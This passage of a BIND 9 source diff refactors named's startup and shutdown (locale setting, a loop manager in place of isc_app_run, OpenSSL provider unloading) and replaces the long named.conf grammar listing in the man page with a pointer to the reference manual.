+	 * explicit call here is for a reference that the BIND 9 code base is
+	 * not locale aware and the locale MUST be set to "C" (or "POSIX") when
+	 * calling any BIND 9 library code.  If you are calling external
+	 * libraries that use locale, such calls must be wrapped into
+	 * setlocale(LC_ALL, ""); before the call and setlocale(LC_ALL, "C");
+	 * after the call, and no BIND 9 library calls must be made in between.
+	 */
+	setlocale(LC_ALL, "C");
 
 	/*
 	 * Record version in core image.
@@ -1447,13 +1548,6 @@ main(int argc, char *argv[]) {
 
 	named_os_init(program_name);
 
-	dns_result_register();
-	dst_result_register();
-	isccc_result_register();
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-
 	parse_command_line(argc, argv);
 
 #ifdef ENABLE_AFL
@@ -1483,38 +1577,27 @@ main(int argc, char *argv[]) {
 		}
 	}
 
-	isc_mem_create(&named_g_mctx);
+	setup();
 	isc_mem_setname(named_g_mctx, "main");
+	INSIST(named_g_server != NULL);
 
-	setup();
+	/*
+	 * Start things running
+	 */
+	isc_signal_start(named_g_server->sighup);
 
 	/*
-	 * Start things running and then wait for a shutdown request
-	 * or reload.
+	 * Pause the loop manager in fatal.
 	 */
-	do {
-		result = isc_app_run();
-
-		if (result == ISC_R_RELOAD) {
-			named_server_reloadwanted(named_g_server);
-		} else if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_app_run(): %s",
-					 isc_result_totext(result));
-			/*
-			 * Force exit.
-			 */
-			result = ISC_R_SUCCESS;
-		}
-	} while (result != ISC_R_SUCCESS);
+	named_g_loopmgr_running = true;
+	isc_loopmgr_run(named_g_loopmgr);
 
 #ifdef HAVE_LIBSCF
 	if (named_smf_want_disable == 1) {
 		result = named_smf_get_instance(&instance, 1, named_g_mctx);
 		if (result == ISC_R_SUCCESS && instance != NULL) {
 			if (smf_disable_instance(instance, 0) != 0) {
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "smf_disable_instance() "
+				UNEXPECTED_ERROR("smf_disable_instance() "
 						 "failed for %s : %s",
 						 instance,
 						 scf_strerror(scf_error()));
@@ -1530,7 +1613,6 @@ main(int argc, char *argv[]) {
 
 	if (want_stats) {
 		isc_mem_stats(named_g_mctx, stdout);
-		isc_mutex_stats(stdout);
 	}
 
 	if (named_g_memstatistics && memstats != NULL) {
@@ -1538,24 +1620,34 @@ main(int argc, char *argv[]) {
 		result = isc_stdio_open(memstats, "w", &fp);
 		if (result == ISC_R_SUCCESS) {
 			isc_mem_stats(named_g_mctx, fp);
-			isc_mutex_stats(fp);
 			(void)isc_stdio_close(fp);
 		}
 	}
-	isc_mem_destroy(&named_g_mctx);
+
+	isc_managers_destroy(&named_g_mctx, &named_g_loopmgr, &named_g_netmgr);
+
+#if ENABLE_LEAK_DETECTION
+	isc__tls_setdestroycheck(true);
+	isc__uv_setdestroycheck(true);
+	isc__xml_setdestroycheck(true);
+#endif
+
 	isc_mem_checkdestroyed(stderr);
 
 	named_main_setmemstats(NULL);
 
-	isc_app_finish();
-
 	named_os_closedevnull();
 
 	named_os_shutdown();
 
-#ifdef HAVE_LIBXML2
-	xmlCleanupThreads();
-#endif /* HAVE_LIBXML2 */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+	if (base != NULL) {
+		OSSL_PROVIDER_unload(base);
+	}
+	if (fips != NULL) {
+		OSSL_PROVIDER_unload(fips);
+	}
+#endif
 
 #ifdef HAVE_GPERFTOOLS_PROFILER
 	ProfilerStop();
diff --git a/bin/named/named.conf.rst b/bin/named/named.conf.rst
index 39407490f6..89e76bd99c 100644
--- a/bin/named/named.conf.rst
+++ b/bin/named/named.conf.rst
@@ -1,5 +1,18 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
 .. highlight: console
 
+.. iscman:: named.conf
+
 named.conf - configuration file for **named**
 ---------------------------------------------
 
@@ -11,1068 +24,43 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``named.conf`` is the configuration file for ``named``. Statements are
-enclosed in braces and terminated with a semi-colon. Clauses in the
-statements are also semi-colon terminated.  The usual comment styles are
-supported:
-
-C style: /\* \*/
-
- C++ style: // to end of line
-
-Unix style: # to end of line
-
-ACL
-^^^
-
-::
-
-  acl string { address_match_element; ... };
-
-CONTROLS
-^^^^^^^^
-
-::
-
-  controls {
-  	inet ( ipv4_address | ipv6_address |
-  	    * ) [ port ( integer | * ) ] allow
-  	    { address_match_element; ... } [
-  	    keys { string; ... } ] [ read-only
-  	    boolean ];
-  	unix quoted_string perm integer
-  	    owner integer group integer [
-  	    keys { string; ... } ] [ read-only
-  	    boolean ];
-  };
-
-DLZ
-^^^
-
-::
-
-  dlz string {
-  	database string;
-  	search boolean;
-  };
-
-DNSSEC-POLICY
-^^^^^^^^^^^^^
-
-::
-
-  dnssec-policy string {
-  	dnskey-ttl duration;
-  	keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime
-  	    duration_or_unlimited algorithm string [ integer ]; ... };
-  	max-zone-ttl duration;
-  	nsec3param [ iterations integer ] [ optout boolean ] [
-  	    salt-length integer ];
-  	parent-ds-ttl duration;
-  	parent-propagation-delay duration;
-  	publish-safety duration;
-  	purge-keys duration;
-  	retire-safety duration;
-  	signatures-refresh duration;
-  	signatures-validity duration;
-  	signatures-validity-dnskey duration;
-  	zone-propagation-delay duration;
-  };
-
-DYNDB
-^^^^^
-
-::
-
-  dyndb string quoted_string {
-      unspecified-text };
-
-HTTP
-^^^^
-
-::
-
-  http string {
-  	endpoints { quoted_string; ... };
-  };
-
-KEY
-^^^
-
-::
-
-  key string {
-  	algorithm string;
-  	secret string;
-  };
-
-LOGGING
-^^^^^^^
-
-::
-
-  logging {
-  	category string { string; ... };
-  	channel string {
-  		buffered boolean;
-  		file quoted_string [ versions ( unlimited | integer ) ]
-  		    [ size size ] [ suffix ( increment | timestamp ) ];
-  		null;
-  		print-category boolean;
-  		print-severity boolean;
-  		print-time ( iso8601 | iso8601-utc | local | boolean );
-  		severity log_severity;
-  		stderr;
-  		syslog [ syslog_facility ];
-  	};
-  };
-
-MANAGED-KEYS
-^^^^^^^^^^^^
+:file:`named.conf` is the configuration file for :iscman:`named`.
 
-See DNSSEC-KEYS.
+For complete documentation about the configuration statements, please refer to
+the Configuration Reference section in the BIND 9 Administrator Reference
+Manual.
 
-::
+Statements are enclosed in braces and terminated with a semi-colon.
+Clauses in the statements are also semi-colon terminated. The usual
+comment styles are supported:
 
-  managed-keys { string ( static-key
-      | initial-key | static-ds |
-      initial-ds ) integer integer
-      integer quoted_string; ... };, deprecated
-
-MASTERS
-^^^^^^^
-
-::
-
-  masters string [ port integer ] [ dscp
-      integer ] { ( primaries | ipv4_address
-      [ port integer ] | ipv6_address [ port
-      integer ] ) [ key string ] [ tls
-      string ]; ... };
-
-OPTIONS
-^^^^^^^
-
-::
-
-  options {
-  	allow-new-zones boolean;
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-cache { address_match_element; ... };
-  	allow-query-cache-on { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-recursion { address_match_element; ... };
-  	allow-recursion-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( primaries |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ] [ tls string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	answer-cookie boolean;
-  	attach-cache string;
-  	auth-nxdomain boolean;
-  	auto-dnssec ( allow | maintain | off );
-  	automatic-interface-scan boolean;
-  	avoid-v4-udp-ports { portrange; ... };
-  	avoid-v6-udp-ports { portrange; ... };
-  	bindkeys-file quoted_string;
-  	blackhole { address_match_element; ... };
-  	cache-file quoted_string;
-  	catalog-zones { zone string [ default-masters [ port integer ]
-  	    [ dscp integer ] { ( primaries | ipv4_address [ port
-  	    integer ] | ipv6_address [ port integer ] ) [ key
-  	    string ] [ tls string ]; ... } ] [ zone-directory
-  	    quoted_string ] [ in-memory boolean ] [ min-update-interval
-  	    duration ]; ... };
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( primary | master |
-  	    secondary | slave | response ) (
-  	    fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	clients-per-query integer;
-  	cookie-algorithm ( aes | siphash24 );
-  	cookie-secret string;
-  	coresize ( default | unlimited | sizeval );
-  	datasize ( default | unlimited | sizeval );
-  	deny-answer-addresses { address_match_element; ... } [
-  	    except-from { string; ... } ];
-  	deny-answer-aliases { string; ... } [ except-from { string; ...
-  	    } ];
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	directory quoted_string;
-  	disable-algorithms string { string;
-  	    ... };
-  	disable-ds-digests string { string;
-  	    ... };
-  	disable-empty-zone string;
-  	dns64 netprefix {
-  		break-dnssec boolean;
-  		clients { address_match_element; ... };
-  		exclude { address_match_element; ... };
-  		mapped { address_match_element; ... };
-  		recursive-only boolean;
-  		suffix ipv6_address;
-  	};
-  	dns64-contact string;
-  	dns64-server string;
-  	dnskey-sig-validity integer;
-  	dnsrps-enable boolean;
-  	dnsrps-options { unspecified-text };
-  	dnssec-accept-expired boolean;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-must-be-secure string boolean;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	dnssec-validation ( yes | no | auto );
-  	dnstap { ( all | auth | client | forwarder | resolver | update ) [
-  	    ( query | response ) ]; ... };
-  	dnstap-identity ( quoted_string | none | hostname );
-  	dnstap-output ( file | unix ) quoted_string [ size ( unlimited |
-  	    size ) ] [ versions ( unlimited | integer ) ] [ suffix (
-  	    increment | timestamp ) ];
-  	dnstap-version ( quoted_string | none );
-  	dscp integer;
-  	dual-stack-servers [ port integer ] { ( quoted_string [ port
-  	    integer ] [ dscp integer ] | ipv4_address [ port
-  	    integer ] [ dscp integer ] | ipv6_address [ port
-  	    integer ] [ dscp integer ] ); ... };
-  	dump-file quoted_string;
-  	edns-udp-size integer;
-  	empty-contact string;
-  	empty-server string;
-  	empty-zones-enable boolean;
-  	fetch-quota-params integer fixedpoint fixedpoint fixedpoint;
-  	fetches-per-server integer [ ( drop | fail ) ];
-  	fetches-per-zone integer [ ( drop | fail ) ];
-  	files ( default | unlimited | sizeval );
-  	flush-zones-on-shutdown boolean;
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	fstrm-set-buffer-hint integer;
-  	fstrm-set-flush-timeout integer;
-  	fstrm-set-input-queue-size integer;
-  	fstrm-set-output-notify-threshold integer;
-  	fstrm-set-output-queue-model ( mpsc | spsc );
-  	fstrm-set-output-queue-size integer;
-  	fstrm-set-reopen-interval duration;
-  	geoip-directory ( quoted_string | none );
-  	glue-cache boolean;// deprecated
-  	heartbeat-interval integer;
-  	hostname ( quoted_string | none );
-  	http-port integer;
-  	https-port integer;
-  	interface-interval duration;
-  	ipv4only-contact string;
-  	ipv4only-enable boolean;
-  	ipv4only-server string;
-  	ixfr-from-differences ( primary | master | secondary | slave |
-  	    boolean );
-  	keep-response-order { address_match_element; ... };
-  	key-directory quoted_string;
-  	lame-ttl duration;
-  	listen-on [ port integer ] [ dscp
-  	    integer ] [ tls string ] [ http
-  	    string ] {
-  	    address_match_element; ... };
-  	listen-on-v6 [ port integer ] [ dscp
-  	    integer ] [ tls string ] [ http
-  	    string ] {
-  	    address_match_element; ... };
-  	lmdb-mapsize sizeval;
-  	lock-file ( quoted_string | none );
-  	managed-keys-directory quoted_string;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	match-mapped-addresses boolean;
-  	max-cache-size ( default | unlimited | sizeval | percentage );
-  	max-cache-ttl duration;
-  	max-clients-per-query integer;
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-ncache-ttl duration;
-  	max-records integer;
-  	max-recursion-depth integer;
-  	max-recursion-queries integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-rsa-exponent-size integer;
-  	max-stale-ttl duration;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-udp-size integer;
-  	max-zone-ttl ( unlimited | duration );
-  	memstatistics boolean;
-  	memstatistics-file quoted_string;
-  	message-compression boolean;
-  	min-cache-ttl duration;
-  	min-ncache-ttl duration;
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	minimal-any boolean;
-  	minimal-responses ( no-auth | no-auth-recursive | boolean );
-  	multi-master boolean;
-  	new-zones-directory quoted_string;
-  	no-case-compress { address_match_element; ... };
-  	nocookie-udp-size integer;
-  	notify ( explicit | master-only | primary-only | boolean );
-  	notify-delay integer;
-  	notify-rate integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	nta-lifetime duration;
-  	nta-recheck duration;
-  	nxdomain-redirect string;
-  	pid-file ( quoted_string | none );
-  	port integer;
-  	preferred-glue string;
-  	prefetch integer [ integer ];
-  	provide-ixfr boolean;
-  	qname-minimization ( strict | relaxed | disabled | off );
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	querylog boolean;
-  	random-device ( quoted_string | none );
-  	rate-limit {
-  		all-per-second integer;
-  		errors-per-second integer;
-  		exempt-clients { address_match_element; ... };
-  		ipv4-prefix-length integer;
-  		ipv6-prefix-length integer;
-  		log-only boolean;
-  		max-table-size integer;
-  		min-table-size integer;
-  		nodata-per-second integer;
-  		nxdomains-per-second integer;
-  		qps-scale integer;
-  		referrals-per-second integer;
-  		responses-per-second integer;
-  		slip integer;
-  		window integer;
-  	};
-  	recursing-file quoted_string;
-  	recursion boolean;
-  	recursive-clients integer;
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	require-server-cookie boolean;
-  	reserved-sockets integer;
-  	resolver-nonbackoff-tries integer;
-  	resolver-query-timeout integer;
-  	resolver-retry-interval integer;
-  	response-padding { address_match_element; ... } block-size
-  	    integer;
-  	response-policy { zone string [ add-soa boolean ] [ log
-  	    boolean ] [ max-policy-ttl duration ] [ min-update-interval
-  	    duration ] [ policy ( cname | disabled | drop | given | no-op
-  	    | nodata | nxdomain | passthru | tcp-only quoted_string ) ] [
-  	    recursive-only boolean ] [ nsip-enable boolean ] [
-  	    nsdname-enable boolean ]; ... } [ add-soa boolean ] [
-  	    break-dnssec boolean ] [ max-policy-ttl duration ] [
-  	    min-update-interval duration ] [ min-ns-dots integer ] [
-  	    nsip-wait-recurse boolean ] [ nsdname-wait-recurse boolean
-  	    ] [ qname-wait-recurse boolean ] [ recursive-only boolean ]
-  	    [ nsip-enable boolean ] [ nsdname-enable boolean ] [
-  	    dnsrps-enable boolean ] [ dnsrps-options { unspecified-text
-  	    } ];
-  	root-delegation-only [ exclude { string; ... } ];
-  	root-key-sentinel boolean;
-  	rrset-order { [ class string ] [ type string ] [ name
-  	    quoted_string ] string string; ... };
-  	secroots-file quoted_string;
-  	send-cookie boolean;
-  	serial-query-rate integer;
-  	serial-update-method ( date | increment | unixtime );
-  	server-id ( quoted_string | none | hostname );
-  	servfail-ttl duration;
-  	session-keyalg string;
-  	session-keyfile ( quoted_string | none );
-  	session-keyname string;
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	sortlist { address_match_element; ... };
-  	stacksize ( default | unlimited | sizeval );
-  	stale-answer-client-timeout ( disabled | off | integer );
-  	stale-answer-enable boolean;
-  	stale-answer-ttl duration;
-  	stale-cache-enable boolean;
-  	stale-refresh-time duration;
-  	startup-notify-rate integer;
-  	statistics-file quoted_string;
-  	synth-from-dnssec boolean;
-  	tcp-advertised-timeout integer;
-  	tcp-clients integer;
-  	tcp-idle-timeout integer;
-  	tcp-initial-timeout integer;
-  	tcp-keepalive-timeout integer;
-  	tcp-listen-queue integer;
-  	tcp-receive-buffer integer;
-  	tcp-send-buffer integer;
-  	tkey-dhkey quoted_string integer;
-  	tkey-domain quoted_string;
-  	tkey-gssapi-credential quoted_string;
-  	tkey-gssapi-keytab quoted_string;
-  	tls-port integer;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-message-size integer;
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	transfers-in integer;
-  	transfers-out integer;
-  	transfers-per-ns integer;
-  	trust-anchor-telemetry boolean; // experimental
-  	try-tcp-refresh boolean;
-  	udp-receive-buffer integer;
-  	udp-send-buffer integer;
-  	update-check-ksk boolean;
-  	use-alt-transfer-source boolean;
-  	use-v4-udp-ports { portrange; ... };
-  	use-v6-udp-ports { portrange; ... };
-  	v6-bias integer;
-  	validate-except { string; ... };
-  	version ( quoted_string | none );
-  	zero-no-soa-ttl boolean;
-  	zero-no-soa-ttl-cache boolean;
-  	zone-statistics ( full | terse | none | boolean );
-  };
-
-PLUGIN
-^^^^^^
-
-::
-
-  plugin ( query ) string [ { unspecified-text
-      } ];
-
-PRIMARIES
-^^^^^^^^^
-
-::
-
-  primaries string [ port integer ] [ dscp
-      integer ] { ( primaries | ipv4_address
-      [ port integer ] | ipv6_address [ port
-      integer ] ) [ key string ] [ tls
-      string ]; ... };
-
-SERVER
-^^^^^^
-
-::
-
-  server netprefix {
-  	bogus boolean;
-  	edns boolean;
-  	edns-udp-size integer;
-  	edns-version integer;
-  	keys server_key;
-  	max-udp-size integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	padding integer;
-  	provide-ixfr boolean;
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	send-cookie boolean;
-  	tcp-keepalive boolean;
-  	tcp-only boolean;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	transfers integer;
-  };
-
-STATISTICS-CHANNELS
-^^^^^^^^^^^^^^^^^^^
-
-::
-
-  statistics-channels {
-  	inet ( ipv4_address | ipv6_address |
-  	    * ) [ port ( integer | * ) ] [
-  	    allow { address_match_element; ...
-  	    } ];
-  };
-
-TLS
-^^^
-
-::
-
-  tls string {
-  	ca-file quoted_string;
-  	cert-file quoted_string;
-  	ciphers string; // experimental
-  	dh-param quoted_string; // experimental
-  	hostname quoted_string;
-  	key-file quoted_string;
-  	protocols sslprotos; // experimental
-  };
-
-TRUST-ANCHORS
-^^^^^^^^^^^^^
-
-::
-
-  trust-anchors { string ( static-key |
-      initial-key | static-ds | initial-ds )
-      integer integer integer
-      quoted_string; ... };
-
-TRUSTED-KEYS
-^^^^^^^^^^^^
-
-Deprecated - see DNSSEC-KEYS.
-
-::
-
-  trusted-keys { string integer
-      integer integer
-      quoted_string; ... };, deprecated
-
-VIEW
-^^^^
+C style: /\* \*/
 
-::
+C++ style: // to end of line
 
-  view string [ class ] {
-  	allow-new-zones boolean;
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-cache { address_match_element; ... };
-  	allow-query-cache-on { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-recursion { address_match_element; ... };
-  	allow-recursion-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( primaries |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ] [ tls string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	attach-cache string;
-  	auth-nxdomain boolean;
-  	auto-dnssec ( allow | maintain | off );
-  	cache-file quoted_string;
-  	catalog-zones { zone string [ default-masters [ port integer ]
-  	    [ dscp integer ] { ( primaries | ipv4_address [ port
-  	    integer ] | ipv6_address [ port integer ] ) [ key
-  	    string ] [ tls string ]; ... } ] [ zone-directory
-  	    quoted_string ] [ in-memory boolean ] [ min-update-interval
-  	    duration ]; ... };
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( primary | master |
-  	    secondary | slave | response ) (
-  	    fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	clients-per-query integer;
-  	deny-answer-addresses { address_match_element; ... } [
-  	    except-from { string; ... } ];
-  	deny-answer-aliases { string; ... } [ except-from { string; ...
-  	    } ];
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	disable-algorithms string { string;
-  	    ... };
-  	disable-ds-digests string { string;
-  	    ... };
-  	disable-empty-zone string;
-  	dlz string {
-  		database string;
-  		search boolean;
-  	};
-  	dns64 netprefix {
-  		break-dnssec boolean;
-  		clients { address_match_element; ... };
-  		exclude { address_match_element; ... };
-  		mapped { address_match_element; ... };
-  		recursive-only boolean;
-  		suffix ipv6_address;
-  	};
-  	dns64-contact string;
-  	dns64-server string;
-  	dnskey-sig-validity integer;
-  	dnsrps-enable boolean;
-  	dnsrps-options { unspecified-text };
-  	dnssec-accept-expired boolean;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-must-be-secure string boolean;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	dnssec-validation ( yes | no | auto );
-  	dnstap { ( all | auth | client | forwarder | resolver | update ) [
-  	    ( query | response ) ]; ... };
-  	dual-stack-servers [ port integer ] { ( quoted_string [ port
-  	    integer ] [ dscp integer ] | ipv4_address [ port
-  	    integer ] [ dscp integer ] | ipv6_address [ port
-  	    integer ] [ dscp integer ] ); ... };
-  	dyndb string quoted_string {
-  	    unspecified-text };
-  	edns-udp-size integer;
-  	empty-contact string;
-  	empty-server string;
-  	empty-zones-enable boolean;
-  	fetch-quota-params integer fixedpoint fixedpoint fixedpoint;
-  	fetches-per-server integer [ ( drop | fail ) ];
-  	fetches-per-zone integer [ ( drop | fail ) ];
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	glue-cache boolean;// deprecated
-  	ipv4only-contact string;
-  	ipv4only-enable boolean;
-  	ipv4only-server string;
-  	ixfr-from-differences ( primary | master | secondary | slave |
-  	    boolean );
-  	key string {
-  		algorithm string;
-  		secret string;
-  	};
-  	key-directory quoted_string;
-  	lame-ttl duration;
-  	lmdb-mapsize sizeval;
-  	managed-keys { string (
-  	    static-key | initial-key
-  	    | static-ds | initial-ds
-  	    ) integer integer
-  	    integer
-  	    quoted_string; ... };, deprecated
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	match-clients { address_match_element; ... };
-  	match-destinations { address_match_element; ... };
-  	match-recursive-only boolean;
-  	max-cache-size ( default | unlimited | sizeval | percentage );
-  	max-cache-ttl duration;
-  	max-clients-per-query integer;
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-ncache-ttl duration;
-  	max-records integer;
-  	max-recursion-depth integer;
-  	max-recursion-queries integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-stale-ttl duration;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-udp-size integer;
-  	max-zone-ttl ( unlimited | duration );
-  	message-compression boolean;
-  	min-cache-ttl duration;
-  	min-ncache-ttl duration;
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	minimal-any boolean;
-  	minimal-responses ( no-auth | no-auth-recursive | boolean );
-  	multi-master boolean;
-  	new-zones-directory quoted_string;
-  	no-case-compress { address_match_element; ... };
-  	nocookie-udp-size integer;
-  	notify ( explicit | master-only | primary-only | boolean );
-  	notify-delay integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	nta-lifetime duration;
-  	nta-recheck duration;
-  	nxdomain-redirect string;
-  	plugin ( query ) string [ {
-  	    unspecified-text } ];
-  	preferred-glue string;
-  	prefetch integer [ integer ];
-  	provide-ixfr boolean;
-  	qname-minimization ( strict | relaxed | disabled | off );
-  	query-source ( ( [ address ] ( ipv4_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv4_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	query-source-v6 ( ( [ address ] ( ipv6_address | * ) [ port (
-  	    integer | * ) ] ) | ( [ [ address ] ( ipv6_address | * ) ]
-  	    port ( integer | * ) ) ) [ dscp integer ];
-  	rate-limit {
-  		all-per-second integer;
-  		errors-per-second integer;
-  		exempt-clients { address_match_element; ... };
-  		ipv4-prefix-length integer;
-  		ipv6-prefix-length integer;
-  		log-only boolean;
-  		max-table-size integer;
-  		min-table-size integer;
-  		nodata-per-second integer;
-  		nxdomains-per-second integer;
-  		qps-scale integer;
-  		referrals-per-second integer;
-  		responses-per-second integer;
-  		slip integer;
-  		window integer;
-  	};
-  	recursion boolean;
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	request-nsid boolean;
-  	require-server-cookie boolean;
-  	resolver-nonbackoff-tries integer;
-  	resolver-query-timeout integer;
-  	resolver-retry-interval integer;
-  	response-padding { address_match_element; ... } block-size
-  	    integer;
-  	response-policy { zone string [ add-soa boolean ] [ log
-  	    boolean ] [ max-policy-ttl duration ] [ min-update-interval
-  	    duration ] [ policy ( cname | disabled | drop | given | no-op
-  	    | nodata | nxdomain | passthru | tcp-only quoted_string ) ] [
-  	    recursive-only boolean ] [ nsip-enable boolean ] [
-  	    nsdname-enable boolean ]; ... } [ add-soa boolean ] [
-  	    break-dnssec boolean ] [ max-policy-ttl duration ] [
-  	    min-update-interval duration ] [ min-ns-dots integer ] [
-  	    nsip-wait-recurse boolean ] [ nsdname-wait-recurse boolean
-  	    ] [ qname-wait-recurse boolean ] [ recursive-only boolean ]
-  	    [ nsip-enable boolean ] [ nsdname-enable boolean ] [
-  	    dnsrps-enable boolean ] [ dnsrps-options { unspecified-text
-  	    } ];
-  	root-delegation-only [ exclude { string; ... } ];
-  	root-key-sentinel boolean;
-  	rrset-order { [ class string ] [ type string ] [ name
-  	    quoted_string ] string string; ... };
-  	send-cookie boolean;
-  	serial-update-method ( date | increment | unixtime );
-  	server netprefix {
-  		bogus boolean;
-  		edns boolean;
-  		edns-udp-size integer;
-  		edns-version integer;
-  		keys server_key;
-  		max-udp-size integer;
-  		notify-source ( ipv4_address | * ) [ port ( integer | *
-  		    ) ] [ dscp integer ];
-  		notify-source-v6 ( ipv6_address | * ) [ port ( integer
-  		    | * ) ] [ dscp integer ];
-  		padding integer;
-  		provide-ixfr boolean;
-  		query-source ( ( [ address ] ( ipv4_address | * ) [ port
-  		    ( integer | * ) ] ) | ( [ [ address ] (
-  		    ipv4_address | * ) ] port ( integer | * ) ) ) [
-  		    dscp integer ];
-  		query-source-v6 ( ( [ address ] ( ipv6_address | * ) [
-  		    port ( integer | * ) ] ) | ( [ [ address ] (
